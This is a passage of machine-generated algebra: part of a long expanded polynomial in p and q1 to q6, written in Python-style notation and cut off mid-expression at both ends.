100*p**3*q1**2*q2**2*q3**2*q4*q5*q6 - 900*p**3*q1**2*q2**2*q3**2*q4*q5 + 100*p**3*q1**2*q2**2*q3*q4**3*q5 + 100*p**3*q1**2*q2**2*q3*q4**2*q5**2 + 100*p**3*q1**2*q2**2*q3*q4**2*q5*q6 - 900*p**3*q1**2*q2**2*q3*q4**2*q5 + 100*p**3*q1**2*q2**2*q3*q4*q5**3 + 100*p**3*q1**2*q2**2*q3*q4*q5**2*q6 - 900*p**3*q1**2*q2**2*q3*q4*q5**2 + 100*p**3*q1**2*q2**2*q3*q4*q5*q6**2 - 900*p**3*q1**2*q2**2*q3*q4*q5*q6 + 3600*p**3*q1**2*q2**2*q3*q4*q5 + 100*p**3*q1**2*q2*q3**4*q4*q5 + 100*p**3*q1**2*q2*q3**3*q4**2*q5 + 100*p**3*q1**2*q2*q3**3*q4*q5**2 + 100*p**3*q1**2*q2*q3**3*q4*q5*q6 - 900*p**3*q1**2*q2*q3**3*q4*q5 + 100*p**3*q1**2*q2*q3**2*q4**3*q5 + 100*p**3*q1**2*q2*q3**2*q4**2*q5**2 + 100*p**3*q1**2*q2*q3**2*q4**2*q5*q6 - 900*p**3*q1**2*q2*q3**2*q4**2*q5 + 100*p**3*q1**2*q2*q3**2*q4*q5**3 + 100*p**3*q1**2*q2*q3**2*q4*q5**2*q6 - 900*p**3*q1**2*q2*q3**2*q4*q5**2 + 100*p**3*q1**2*q2*q3**2*q4*q5*q6**2 - 900*p**3*q1**2*q2*q3**2*q4*q5*q6 + 3600*p**3*q1**2*q2*q3**2*q4*q5 + 100*p**3*q1**2*q2*q3*q4**4*q5 + 100*p**3*q1**2*q2*q3*q4**3*q5**2 + 100*p**3*q1**2*q2*q3*q4**3*q5*q6 - 900*p**3*q1**2*q2*q3*q4**3*q5 + 100*p**3*q1**2*q2*q3*q4**2*q5**3 + 100*p**3*q1**2*q2*q3*q4**2*q5**2*q6 - 900*p**3*q1**2*q2*q3*q4**2*q5**2 + 100*p**3*q1**2*q2*q3*q4**2*q5*q6**2 - 900*p**3*q1**2*q2*q3*q4**2*q5*q6 + 3600*p**3*q1**2*q2*q3*q4**2*q5 + 100*p**3*q1**2*q2*q3*q4*q5**4 + 100*p**3*q1**2*q2*q3*q4*q5**3*q6 - 900*p**3*q1**2*q2*q3*q4*q5**3 + 100*p**3*q1**2*q2*q3*q4*q5**2*q6**2 - 900*p**3*q1**2*q2*q3*q4*q5**2*q6 + 3600*p**3*q1**2*q2*q3*q4*q5**2 + 100*p**3*q1**2*q2*q3*q4*q5*q6**3 - 900*p**3*q1**2*q2*q3*q4*q5*q6**2 + 3600*p**3*q1**2*q2*q3*q4*q5*q6 - 8400*p**3*q1**2*q2*q3*q4*q5 + 100*p**3*q1*q2**5*q3*q4*q5 + 100*p**3*q1*q2**4*q3**2*q4*q5 + 100*p**3*q1*q2**4*q3*q4**2*q5 + 100*p**3*q1*q2**4*q3*q4*q5**2 + 100*p**3*q1*q2**4*q3*q4*q5*q6 - 900*p**3*q1*q2**4*q3*q4*q5 + 100*p**3*q1*q2**3*q3**3*q4*q5 + 100*p**3*q1*q2**3*q3**2*q4**2*q5 + 100*p**3*q1*q2**3*q3**2*q4*q5**2 + 100*p**3*q1*q2**3*q3**2*q4*q5*q6 - 900*p**3*q1*q2**3*q3**2*q4*q5 + 100*p**3*q1*q2**3*q3*q4**3*q5 + 100*p**3*q1*q2**3*q3*q4**2*q5**2 + 100*p**3*q1*q2**3*q3*q4**2*q5*q6 - 900*p**3*q1*q2**3*q3*q4**2*q5 + 100*p**3*q1*q2**3*q3*q4*q5**3 + 100*p**3*q1*q2**3*q3*q4*q5**2*q6 - 900*p**3*q1*q2**3*q3*q4*q5**2 + 100*p**3*q1*q2**3*q3*q4*q5*q6**2 - 900*p**3*q1*q2**3*q3*q4*q5*q6 + 3600*p**3*q1*q2**3*q3*q4*q5 + 100*p**3*q1*q2**2*q3**4*q4*q5 + 100*p**3*q1*q2**2*q3**3*q4**2*q5 + 100*p**3*q1*q2**2*q3**3*q4*q5**2 + 100*p**3*q1*q2**2*q3**3*q4*q5*q6 - 900*p**3*q1*q2**2*q3**3*q4*q5 + 100*p**3*q1*q2**2*q3**2*q4**3*q5 + 100*p**3*q1*q2**2*q3**2*q4**2*q5**2 + 100*p**3*q1*q2**2*q3**2*q4**2*q5*q6 - 900*p**3*q1*q2**2*q3**2*q4**2*q5 + 100*p**3*q1*q2**2*q3**2*q4*q5**3 + 100*p**3*q1*q2**2*q3**2*q4*q5**2*q6 - 900*p**3*q1*q2**2*q3**2*q4*q5**2 + 100*p**3*q1*q2**2*q3**2*q4*q5*q6**2 - 900*p**3*q1*q2**2*q3**2*q4*q5*q6 + 3600*p**3*q1*q2**2*q3**2*q4*q5 + 100*p**3*q1*q2**2*q3*q4**4*q5 + 100*p**3*q1*q2**2*q3*q4**3*q5**2 + 100*p**3*q1*q2**2*q3*q4**3*q5*q6 - 900*p**3*q1*q2**2*q3*q4**3*q5 + 100*p**3*q1*q2**2*q3*q4**2*q5**3 + 100*p**3*q1*q2**2*q3*q4**2*q5**2*q6 - 900*p**3*q1*q2**2*q3*q4**2*q5**2 + 100*p**3*q1*q2**2*q3*q4**2*q5*q6**2 - 900*p**3*q1*q2**2*q3*q4**2*q5*q6 + 3600*p**3*q1*q2**2*q3*q4**2*q5 + 100*p**3*q1*q2**2*q3*q4*q5**4 + 100*p**3*q1*q2**2*q3*q4*q5**3*q6 - 900*p**3*q1*q2**2*q3*q4*q5**3 + 100*p**3*q1*q2**2*q3*q4*q5**2*q6**2 - 900*p**3*q1*q2**2*q3*q4*q5**2*q6 + 3600*p**3*q1*q2**2*q3*q4*q5**2 + 100*p**3*q1*q2**2*q3*q4*q5*q6**3 - 900*p**3*q1*q2**2*q3*q4*q5*q6**2 + 3600*p**3*q1*q2**2*q3*q4*q5*q6 - 8400*p**3*q1*q2**2*q3*q4*q5 + 100*p**3*q1*q2*q3**5*q4*q5 + 100*p**3*q1*q2*q3**4*q4**2*q5 + 100*p**3*q1*q2*q3**4*q4*q5**2 + 100*p**3*q1*q2*q3**4*q4*q5*q6 - 900*p**3*q1*q2*q3**4*q4*q5 + 100*p**3*q1*q2*q3**3*q4**3*q5 + 100*p**3*q1*q2*q3**3*q4**2*q5**2 + 100*p**3*q1*q2*q3**3*q4**2*q5*q6 - 900*p**3*q1*q2*q3**3*q4**2*q5 + 100*p**3*q1*q2*q3**3*q4*q5**3 + 100*p**3*q1*q2*q3**3*q4*q5**2*q6 - 900*p**3*q1*q2*q3**3*q4*q5**2 + 100*p**3*q1*q2*q3**3*q4*q5*q6**2 - 900*p**3*q1*q2*q3**3*q4*q5*q6 + 3600*p**3*q1*q2*q3**3*q4*q5 + 100*p**3*q1*q2*q3**2*q4**4*q5 + 100*p**3*q1*q2*q3**2*q4**3*q5**2 + 100*p**3*q1*q2*q3**2*q4**3*q5*q6 - 900*p**3*q1*q2*q3**2*q4**3*q5 + 100*p**3*q1*q2*q3**2*q4**2*q5**3 + 100*p**3*q1*q2*q3**2*q4**2*q5**2*q6 - 900*p**3*q1*q2*q3**2*q4**2*q5**2 + 100*p**3*q1*q2*q3**2*q4**2*q5*q6**2 - 900*p**3*q1*q2*q3**2*q4**2*q5*q6 + 3600*p**3*q1*q2*q3**2*q4**2*q5 + 100*p**3*q1*q2*q3**2*q4*q5**4 + 100*p**3*q1*q2*q3**2*q4*q5**3*q6 - 900*p**3*q1*q2*q3**2*q4*q5**3 + 100*p**3*q1*q2*q3**2*q4*q5**2*q6**2 - 900*p**3*q1*q2*q3**2*q4*q5**2*q6 + 3600*p**3*q1*q2*q3**2*q4*q5**2 + 100*p**3*q1*q2*q3**2*q4*q5*q6**3 - 900*p**3*q1*q2*q3**2*q4*q5*q6**2 + 3600*p**3*q1*q2*q3**2*q4*q5*q6 - 8400*p**3*q1*q2*q3**2*q4*q5 + 100*p**3*q1*q2*q3*q4**5*q5 + 100*p**3*q1*q2*q3*q4**4*q5**2 + 100*p**3*q1*q2*q3*q4**4*q5*q6 - 900*p**3*q1*q2*q3*q4**4*q5 + 100*p**3*q1*q2*q3*q4**3*q5**3 + 100*p**3*q1*q2*q3*q4**3*q5**2*q6 - 900*p**3*q1*q2*q3*q4**3*q5**2 + 100*p**3*q1*q2*q3*q4**3*q5*q6**2 - 900*p**3*q1*q2*q3*q4**3*q5*q6 + 3600*p**3*q1*q2*q3*q4**3*q5 + 100*p**3*q1*q2*q3*q4**2*q5**4 + 100*p**3*q1*q2*q3*q4**2*q5**3*q6 - 900*p**3*q1*q2*q3*q4**2*q5**3 + 100*p**3*q1*q2*q3*q4**2*q5**2*q6**2 - 900*p**3*q1*q2*q3*q4**2*q5**2*q6 + 3600*p**3*q1*q2*q3*q4**2*q5**2 + 100*p**3*q1*q2*q3*q4**2*q5*q6**3 - 900*p**3*q1*q2*q3*q4**2*q5*q6**2 + 3600*p**3*q1*q2*q3*q4**2*q5*q6 - 8400*p**3*q1*q2*q3*q4**2*q5 + 100*p**3*q1*q2*q3*q4*q5**5 + 100*p**3*q1*q2*q3*q4*q5**4*q6 - 900*p**3*q1*q2*q3*q4*q5**4 + 100*p**3*q1*q2*q3*q4*q5**3*q6**2 - 900*p**3*q1*q2*q3*q4*q5**3*q6 + 3600*p**3*q1*q2*q3*q4*q5**3 + 100*p**3*q1*q2*q3*q4*q5**2*q6**3 - 900*p**3*q1*q2*q3*q4*q5**2*q6**2 + 3600*p**3*q1*q2*q3*q4*q5**2*q6 - 8400*p**3*q1*q2*q3*q4*q5**2 + 100*p**3*q1*q2*q3*q4*q5*q6**4 - 900*p**3*q1*q2*q3*q4*q5*q6**3 + 3600*p**3*q1*q2*q3*q4*q5*q6**2 - 8400*p**3*q1*q2*q3*q4*q5*q6 + 12600*p**3*q1*q2*q3*q4*q5 - 270*p**3*q2**5*q3*q4*q5 - 270*p**3*q2**4*q3**2*q4*q5 - 270*p**3*q2**4*q3*q4**2*q5 - 270*p**3*q2**4*q3*q4*q5**2 - 270*p**3*q2**4*q3*q4*q5*q6 + 2160*p**3*q2**4*q3*q4*q5 - 270*p**3*q2**3*q3**3*q4*q5 - 270*p**3*q2**3*q3**2*q4**2*q5 - 270*p**3*q2**3*q3**2*q4*q5**2 - 270*p**3*q2**3*q3**2*q4*q5*q6 + 2160*p**3*q2**3*q3**2*q4*q5 - 270*p**3*q2**3*q3*q4**3*q5 - 270*p**3*q2**3*q3*q4**2*q5**2 - 270*p**3*q2**3*q3*q4**2*q5*q6 + 2160*p**3*q2**3*q3*q4**2*q5 - 270*p**3*q2**3*q3*q4*q5**3 - 270*p**3*q2**3*q3*q4*q5**2*q6 + 2160*p**3*q2**3*q3*q4*q5**2 - 270*p**3*q2**3*q3*q4*q5*q6**2 + 2160*p**3*q2**3*q3*q4*q5*q6 - 7560*p**3*q2**3*q3*q4*q5 - 270*p**3*q2**2*q3**4*q4*q5 - 270*p**3*q2**2*q3**3*q4**2*q5 - 270*p**3*q2**2*q3**3*q4*q5**2 - 270*p**3*q2**2*q3**3*q4*q5*q6 + 2160*p**3*q2**2*q3**3*q4*q5 - 270*p**3*q2**2*q3**2*q4**3*q5 - 270*p**3*q2**2*q3**2*q4**2*q5**2 - 270*p**3*q2**2*q3**2*q4**2*q5*q6 + 2160*p**3*q2**2*q3**2*q4**2*q5 - 270*p**3*q2**2*q3**2*q4*q5**3 - 270*p**3*q2**2*q3**2*q4*q5**2*q6 + 2160*p**3*q2**2*q3**2*q4*q5**2 - 270*p**3*q2**2*q3**2*q4*q5*q6**2 + 2160*p**3*q2**2*q3**2*q4*q5*q6 - 7560*p**3*q2**2*q3**2*q4*q5 - 270*p**3*q2**2*q3*q4**4*q5 - 270*p**3*q2**2*q3*q4**3*q5**2 - 270*p**3*q2**2*q3*q4**3*q5*q6 + 2160*p**3*q2**2*q3*q4**3*q5 - 270*p**3*q2**2*q3*q4**2*q5**3 - 270*p**3*q2**2*q3*q4**2*q5**2*q6 + 2160*p**3*q2**2*q3*q4**2*q5**2 - 270*p**3*q2**2*q3*q4**2*q5*q6**2 + 2160*p**3*q2**2*q3*q4**2*q5*q6 - 7560*p**3*q2**2*q3*q4**2*q5 - 270*p**3*q2**2*q3*q4*q5**4 - 270*p**3*q2**2*q3*q4*q5**3*q6 + 2160*p**3*q2**2*q3*q4*q5**3 - 270*p**3*q2**2*q3*q4*q5**2*q6**2 + 2160*p**3*q2**2*q3*q4*q5**2*q6 - 7560*p**3*q2**2*q3*q4*q5**2 - 270*p**3*q2**2*q3*q4*q5*q6**3 + 2160*p**3*q2**2*q3*q4*q5*q6**2 - 7560*p**3*q2**2*q3*q4*q5*q6 + 15120*p**3*q2**2*q3*q4*q5 - 270*p**3*q2*q3**5*q4*q5 - 270*p**3*q2*q3**4*q4**2*q5 - 270*p**3*q2*q3**4*q4*q5**2 - 270*p**3*q2*q3**4*q4*q5*q6 + 2160*p**3*q2*q3**4*q4*q5 - 270*p**3*q2*q3**3*q4**3*q5 - 270*p**3*q2*q3**3*q4**2*q5**2 - 270*p**3*q2*q3**3*q4**2*q5*q6 + 2160*p**3*q2*q3**3*q4**2*q5 - 270*p**3*q2*q3**3*q4*q5**3 - 270*p**3*q2*q3**3*q4*q5**2*q6 + 2160*p**3*q2*q3**3*q4*q5**2 - 270*p**3*q2*q3**3*q4*q5*q6**2 + 2160*p**3*q2*q3**3*q4*q5*q6 - 7560*p**3*q2*q3**3*q4*q5 - 270*p**3*q2*q3**2*q4**4*q5 - 270*p**3*q2*q3**2*q4**3*q5**2 - 270*p**3*q2*q3**2*q4**3*q5*q6 + 2160*p**3*q2*q3**2*q4**3*q5 - 270*p**3*q2*q3**2*q4**2*q5**3 - 270*p**3*q2*q3**2*q4**2*q5**2*q6 + 2160*p**3*q2*q3**2*q4**2*q5**2 - 270*p**3*q2*q3**2*q4**2*q5*q6**2 + 2160*p**3*q2*q3**2*q4**2*q5*q6 - 7560*p**3*q2*q3**2*q4**2*q5 - 270*p**3*q2*q3**2*q4*q5**4 - 270*p**3*q2*q3**2*q4*q5**3*q6 + 2160*p**3*q2*q3**2*q4*q5**3 - 270*p**3*q2*q3**2*q4*q5**2*q6**2 + 2160*p**3*q2*q3**2*q4*q5**2*q6 - 7560*p**3*q2*q3**2*q4*q5**2 - 270*p**3*q2*q3**2*q4*q5*q6**3 + 2160*p**3*q2*q3**2*q4*q5*q6**2 - 7560*p**3*q2*q3**2*q4*q5*q6 + 15120*p**3*q2*q3**2*q4*q5 - 270*p**3*q2*q3*q4**5*q5 - 270*p**3*q2*q3*q4**4*q5**2 - 270*p**3*q2*q3*q4**4*q5*q6 + 2160*p**3*q2*q3*q4**4*q5 - 270*p**3*q2*q3*q4**3*q5**3 - 270*p**3*q2*q3*q4**3*q5**2*q6 + 2160*p**3*q2*q3*q4**3*q5**2 - 270*p**3*q2*q3*q4**3*q5*q6**2 + 2160*p**3*q2*q3*q4**3*q5*q6 - 7560*p**3*q2*q3*q4**3*q5 - 270*p**3*q2*q3*q4**2*q5**4 - 270*p**3*q2*q3*q4**2*q5**3*q6 + 2160*p**3*q2*q3*q4**2*q5**3 - 270*p**3*q2*q3*q4**2*q5**2*q6**2 + 2160*p**3*q2*q3*q4**2*q5**2*q6 - 7560*p**3*q2*q3*q4**2*q5**2 - 270*p**3*q2*q3*q4**2*q5*q6**3 + 2160*p**3*q2*q3*q4**2*q5*q6**2 - 7560*p**3*q2*q3*q4**2*q5*q6 + 15120*p**3*q2*q3*q4**2*q5 - 270*p**3*q2*q3*q4*q5**5 - 270*p**3*q2*q3*q4*q5**4*q6 + 2160*p**3*q2*q3*q4*q5**4 - 270*p**3*q2*q3*q4*q5**3*q6**2 + 2160*p**3*q2*q3*q4*q5**3*q6 - 7560*p**3*q2*q3*q4*q5**3 - 270*p**3*q2*q3*q4*q5**2*q6**3 + 2160*p**3*q2*q3*q4*q5**2*q6**2 - 7560*p**3*q2*q3*q4*q5**2*q6 + 15120*p**3*q2*q3*q4*q5**2 - 270*p**3*q2*q3*q4*q5*q6**4 + 2160*p**3*q2*q3*q4*q5*q6**3 - 7560*p**3*q2*q3*q4*q5*q6**2 + 15120*p**3*q2*q3*q4*q5*q6 - 18900*p**3*q2*q3*q4*q5 + 360*p**3*q3**5*q4*q5 + 360*p**3*q3**4*q4**2*q5 + 360*p**3*q3**4*q4*q5**2 + 360*p**3*q3**4*q4*q5*q6 - 2520*p**3*q3**4*q4*q5 + 360*p**3*q3**3*q4**3*q5 + 360*p**3*q3**3*q4**2*q5**2 + 360*p**3*q3**3*q4**2*q5*q6 - 2520*p**3*q3**3*q4**2*q5 + 360*p**3*q3**3*q4*q5**3 + 360*p**3*q3**3*q4*q5**2*q6 - 2520*p**3*q3**3*q4*q5**2 + 360*p**3*q3**3*q4*q5*q6**2 - 2520*p**3*q3**3*q4*q5*q6 + 7560*p**3*q3**3*q4*q5 + 360*p**3*q3**2*q4**4*q5 + 360*p**3*q3**2*q4**3*q5**2 + 360*p**3*q3**2*q4**3*q5*q6 - 2520*p**3*q3**2*q4**3*q5 + 360*p**3*q3**2*q4**2*q5**3 + 360*p**3*q3**2*q4**2*q5**2*q6 - 2520*p**3*q3**2*q4**2*q5**2 + 360*p**3*q3**2*q4**2*q5*q6**2 - 2520*p**3*q3**2*q4**2*q5*q6 + 7560*p**3*q3**2*q4**2*q5 + 360*p**3*q3**2*q4*q5**4 + 360*p**3*q3**2*q4*q5**3*q6 - 2520*p**3*q3**2*q4*q5**3 + 360*p**3*q3**2*q4*q5**2*q6**2 - 2520*p**3*q3**2*q4*q5**2*q6 + 7560*p**3*q3**2*q4*q5**2 + 360*p**3*q3**2*q4*q5*q6**3 - 2520*p**3*q3**2*q4*q5*q6**2 + 7560*p**3*q3**2*q4*q5*q6 - 12600*p**3*q3**2*q4*q5 + 360*p**3*q3*q4**5*q5 + 360*p**3*q3*q4**4*q5**2 + 360*p**3*q3*q4**4*q5*q6 - 2520*p**3*q3*q4**4*q5 + 360*p**3*q3*q4**3*q5**3 + 360*p**3*q3*q4**3*q5**2*q6 - 2520*p**3*q3*q4**3*q5**2 + 360*p**3*q3*q4**3*q5*q6**2 - 2520*p**3*q3*q4**3*q5*q6 + 7560*p**3*q3*q4**3*q5 + 360*p**3*q3*q4**2*q5**4 + 360*p**3*q3*q4**2*q5**3*q6 - 2520*p**3*q3*q4**2*q5**3 + 360*p**3*q3*q4**2*q5**2*q6**2 - 2520*p**3*q3*q4**2*q5**2*q6 + 7560*p**3*q3*q4**2*q5**2 + 360*p**3*q3*q4**2*q5*q6**3 - 2520*p**3*q3*q4**2*q5*q6**2 + 7560*p**3*q3*q4**2*q5*q6 - 12600*p**3*q3*q4**2*q5 + 360*p**3*q3*q4*q5**5 + 360*p**3*q3*q4*q5**4*q6 - 2520*p**3*q3*q4*q5**4 + 360*p**3*q3*q4*q5**3*q6**2 - 2520*p**3*q3*q4*q5**3*q6 + 7560*p**3*q3*q4*q5**3 + 360*p**3*q3*q4*q5**2*q6**3 - 2520*p**3*q3*q4*q5**2*q6**2 + 7560*p**3*q3*q4*q5**2*q6 - 12600*p**3*q3*q4*q5**2 + 360*p**3*q3*q4*q5*q6**4 - 2520*p**3*q3*q4*q5*q6**3 + 7560*p**3*q3*q4*q5*q6**2 - 12600*p**3*q3*q4*q5*q6 + 12600*p**3*q3*q4*q5 - 210*p**3*q4**5*q5 - 210*p**3*q4**4*q5**2 - 210*p**3*q4**4*q5*q6 + 1260*p**3*q4**4*q5 - 210*p**3*q4**3*q5**3 - 210*p**3*q4**3*q5**2*q6 + 1260*p**3*q4**3*q5**2 - 210*p**3*q4**3*q5*q6**2 + 1260*p**3*q4**3*q5*q6 - 3150*p**3*q4**3*q5 - 210*p**3*q4**2*q5**4 - 210*p**3*q4**2*q5**3*q6 + 1260*p**3*q4**2*q5**3 - 210*p**3*q4**2*q5**2*q6**2 + 1260*p**3*q4**2*q5**2*q6 - 3150*p**3*q4**2*q5**2 - 210*p**3*q4**2*q5*q6**3 + 1260*p**3*q4**2*q5*q6**2 - 3150*p**3*q4**2*q5*q6 + 4200*p**3*q4**2*q5 - 210*p**3*q4*q5**5 - 210*p**3*q4*q5**4*q6 + 1260*p**3*q4*q5**4 - 210*p**3*q4*q5**3*q6**2 + 1260*p**3*q4*q5**3*q6 - 3150*p**3*q4*q5**3 - 210*p**3*q4*q5**2*q6**3 + 1260*p**3*q4*q5**2*q6**2 - 3150*p**3*q4*q5**2*q6 + 4200*p**3*q4*q5**2 - 210*p**3*q4*q5*q6**4 + 1260*p**3*q4*q5*q6**3 - 3150*p**3*q4*q5*q6**2 + 4200*p**3*q4*q5*q6 - 3150*p**3*q4*q5 - 100*p**2*q1**5*q2*q3*q4*q5 - 100*p**2*q1**4*q2**2*q3*q4*q5 - 100*p**2*q1**4*q2*q3**2*q4*q5 - 100*p**2*q1**4*q2*q3*q4**2*q5 - 100*p**2*q1**4*q2*q3*q4*q5**2 - 100*p**2*q1**4*q2*q3*q4*q5*q6 + 900*p**2*q1**4*q2*q3*q4*q5 - 100*p**2*q1**3*q2**3*q3*q4*q5 - 100*p**2*q1**3*q2**2*q3**2*q4*q5 - 100*p**2*q1**3*q2**2*q3*q4**2*q5 - 100*p**2*q1**3*q2**2*q3*q4*q5**2 - 100*p**2*q1**3*q2**2*q3*q4*q5*q6 + 900*p**2*q1**3*q2**2*q3*q4*q5 - 100*p**2*q1**3*q2*q3**3*q4*q5 - 100*p**2*q1**3*q2*q3**2*q4**2*q5 - 100*p**2*q1**3*q2*q3**2*q4*q5**2 - 100*p**2*q1**3*q2*q3**2*q4*q5*q6 + 900*p**2*q1**3*q2*q3**2*q4*q5 - 100*p**2*q1**3*q2*q3*q4**3*q5 - 100*p**2*q1**3*q2*q3*q4**2*q5**2 - 100*p**2*q1**3*q2*q3*q4**2*q5*q6 + 900*p**2*q1**3*q2*q3*q4**2*q5 - 100*p**2*q1**3*q2*q3*q4*q5**3 - 100*p**2*q1**3*q2*q3*q4*q5**2*q6 + 900*p**2*q1**3*q2*q3*q4*q5**2 - 100*p**2*q1**3*q2*q3*q4*q5*q6**2 + 900*p**2*q1**3*q2*q3*q4*q5*q6 - 3600*p**2*q1**3*q2*q3*q4*q5 - 100*p**2*q1**2*q2**4*q3*q4*q5 - 100*p**2*q1**2*q2**3*q3**2*q4*q5 - 100*p**2*q1**2*q2**3*q3*q4**2*q5 - 100*p**2*q1**2*q2**3*q3*q4*q5**2 - 100*p**2*q1**2*q2**3*q3*q4*q5*q6 + 900*p**2*q1**2*q2**3*q3*q4*q5 - 100*p**2*q1**2*q2**2*q3**3*q4*q5 - 100*p**2*q1**2*q2**2*q3**2*q4**2*q5 - 100*p**2*q1**2*q2**2*q3**2*q4*q5**2 - 100*p**2*q1**2*q2**2*q3**2*q4*q5*q6 + 900*p**2*q1**2*q2**2*q3**2*q4*q5 - 100*p**2*q1**2*q2**2*q3*q4**3*q5 - 100*p**2*q1**2*q2**2*q3*q4**2*q5**2 - 100*p**2*q1**2*q2**2*q3*q4**2*q5*q6 + 900*p**2*q1**2*q2**2*q3*q4**2*q5 - 100*p**2*q1**2*q2**2*q3*q4*q5**3 - 100*p**2*q1**2*q2**2*q3*q4*q5**2*q6 + 900*p**2*q1**2*q2**2*q3*q4*q5**2 - 100*p**2*q1**2*q2**2*q3*q4*q5*q6**2 + 900*p**2*q1**2*q2**2*q3*q4*q5*q6 - 3600*p**2*q1**2*q2**2*q3*q4*q5 - 100*p**2*q1**2*q2*q3**4*q4*q5 - 100*p**2*q1**2*q2*q3**3*q4**2*q5 - 100*p**2*q1**2*q2*q3**3*q4*q5**2 - 100*p**2*q1**2*q2*q3**3*q4*q5*q6 + 900*p**2*q1**2*q2*q3**3*q4*q5 - 100*p**2*q1**2*q2*q3**2*q4**3*q5 - 100*p**2*q1**2*q2*q3**2*q4**2*q5**2 - 100*p**2*q1**2*q2*q3**2*q4**2*q5*q6 + 900*p**2*q1**2*q2*q3**2*q4**2*q5 - 100*p**2*q1**2*q2*q3**2*q4*q5**3 - 100*p**2*q1**2*q2*q3**2*q4*q5**2*q6 + 900*p**2*q1**2*q2*q3**2*q4*q5**2 - 100*p**2*q1**2*q2*q3**2*q4*q5*q6**2 + 900*p**2*q1**2*q2*q3**2*q4*q5*q6 - 3600*p**2*q1**2*q2*q3**2*q4*q5 - 100*p**2*q1**2*q2*q3*q4**4*q5 - 100*p**2*q1**2*q2*q3*q4**3*q5**2 - 100*p**2*q1**2*q2*q3*q4**3*q5*q6 + 900*p**2*q1**2*q2*q3*q4**3*q5 - 100*p**2*q1**2*q2*q3*q4**2*q5**3 - 100*p**2*q1**2*q2*q3*q4**2*q5**2*q6 + 900*p**2*q1**2*q2*q3*q4**2*q5**2 - 100*p**2*q1**2*q2*q3*q4**2*q5*q6**2 + 900*p**2*q1**2*q2*q3*q4**2*q5*q6 - 3600*p**2*q1**2*q2*q3*q4**2*q5 - 100*p**2*q1**2*q2*q3*q4*q5**4 - 100*p**2*q1**2*q2*q3*q4*q5**3*q6 + 900*p**2*q1**2*q2*q3*q4*q5**3 - 100*p**2*q1**2*q2*q3*q4*q5**2*q6**2 + 900*p**2*q1**2*q2*q3*q4*q5**2*q6 - 3600*p**2*q1**2*q2*q3*q4*q5**2 - 100*p**2*q1**2*q2*q3*q4*q5*q6**3 + 900*p**2*q1**2*q2*q3*q4*q5*q6**2 - 3600*p**2*q1**2*q2*q3*q4*q5*q6 + 8400*p**2*q1**2*q2*q3*q4*q5 - 100*p**2*q1*q2**5*q3*q4*q5 - 100*p**2*q1*q2**4*q3**2*q4*q5 - 100*p**2*q1*q2**4*q3*q4**2*q5 - 100*p**2*q1*q2**4*q3*q4*q5**2 - 100*p**2*q1*q2**4*q3*q4*q5*q6 + 900*p**2*q1*q2**4*q3*q4*q5 - 100*p**2*q1*q2**3*q3**3*q4*q5 - 100*p**2*q1*q2**3*q3**2*q4**2*q5 - 100*p**2*q1*q2**3*q3**2*q4*q5**2 - 100*p**2*q1*q2**3*q3**2*q4*q5*q6 + 900*p**2*q1*q2**3*q3**2*q4*q5 - 100*p**2*q1*q2**3*q3*q4**3*q5 - 100*p**2*q1*q2**3*q3*q4**2*q5**2 - 100*p**2*q1*q2**3*q3*q4**2*q5*q6 + 900*p**2*q1*q2**3*q3*q4**2*q5 - 100*p**2*q1*q2**3*q3*q4*q5**3 - 100*p**2*q1*q2**3*q3*q4*q5**2*q6 + 900*p**2*q1*q2**3*q3*q4*q5**2 - 100*p**2*q1*q2**3*q3*q4*q5*q6**2 + 900*p**2*q1*q2**3*q3*q4*q5*q6 - 3600*p**2*q1*q2**3*q3*q4*q5 - 100*p**2*q1*q2**2*q3**4*q4*q5 - 100*p**2*q1*q2**2*q3**3*q4**2*q5 - 100*p**2*q1*q2**2*q3**3*q4*q5**2 - 100*p**2*q1*q2**2*q3**3*q4*q5*q6 + 900*p**2*q1*q2**2*q3**3*q4*q5 - 100*p**2*q1*q2**2*q3**2*q4**3*q5 - 100*p**2*q1*q2**2*q3**2*q4**2*q5**2 - 100*p**2*q1*q2**2*q3**2*q4**2*q5*q6 + 900*p**2*q1*q2**2*q3**2*q4**2*q5 - 100*p**2*q1*q2**2*q3**2*q4*q5**3 - 100*p**2*q1*q2**2*q3**2*q4*q5**2*q6 + 900*p**2*q1*q2**2*q3**2*q4*q5**2 - 100*p**2*q1*q2**2*q3**2*q4*q5*q6**2 + 900*p**2*q1*q2**2*q3**2*q4*q5*q6 - 3600*p**2*q1*q2**2*q3**2*q4*q5 - 100*p**2*q1*q2**2*q3*q4**4*q5 - 100*p**2*q1*q2**2*q3*q4**3*q5**2 - 100*p**2*q1*q2**2*q3*q4**3*q5*q6 + 900*p**2*q1*q2**2*q3*q4**3*q5 - 100*p**2*q1*q2**2*q3*q4**2*q5**3 - 100*p**2*q1*q2**2*q3*q4**2*q5**2*q6 + 900*p**2*q1*q2**2*q3*q4**2*q5**2 - 100*p**2*q1*q2**2*q3*q4**2*q5*q6**2 + 900*p**2*q1*q2**2*q3*q4**2*q5*q6 - 3600*p**2*q1*q2**2*q3*q4**2*q5 - 100*p**2*q1*q2**2*q3*q4*q5**4 - 100*p**2*q1*q2**2*q3*q4*q5**3*q6 + 900*p**2*q1*q2**2*q3*q4*q5**3 - 100*p**2*q1*q2**2*q3*q4*q5**2*q6**2 + 900*p**2*q1*q2**2*q3*q4*q5**2*q6 - 3600*p**2*q1*q2**2*q3*q4*q5**2 - 100*p**2*q1*q2**2*q3*q4*q5*q6**3 + 900*p**2*q1*q2**2*q3*q4*q5*q6**2 - 3600*p**2*q1*q2**2*q3*q4*q5*q6 + 8400*p**2*q1*q2**2*q3*q4*q5 - 100*p**2*q1*q2*q3**5*q4*q5 - 100*p**2*q1*q2*q3**4*q4**2*q5 - 100*p**2*q1*q2*q3**4*q4*q5**2 - 100*p**2*q1*q2*q3**4*q4*q5*q6 + 900*p**2*q1*q2*q3**4*q4*q5 - 100*p**2*q1*q2*q3**3*q4**3*q5 - 100*p**2*q1*q2*q3**3*q4**2*q5**2 - 100*p**2*q1*q2*q3**3*q4**2*q5*q6 + 900*p**2*q1*q2*q3**3*q4**2*q5 - 100*p**2*q1*q2*q3**3*q4*q5**3 - 100*p**2*q1*q2*q3**3*q4*q5**2*q6 + 900*p**2*q1*q2*q3**3*q4*q5**2 - 100*p**2*q1*q2*q3**3*q4*q5*q6**2 + 900*p**2*q1*q2*q3**3*q4*q5*q6 - 3600*p**2*q1*q2*q3**3*q4*q5 - 100*p**2*q1*q2*q3**2*q4**4*q5 - 100*p**2*q1*q2*q3**2*q4**3*q5**2 - 100*p**2*q1*q2*q3**2*q4**3*q5*q6 + 900*p**2*q1*q2*q3**2*q4**3*q5 - 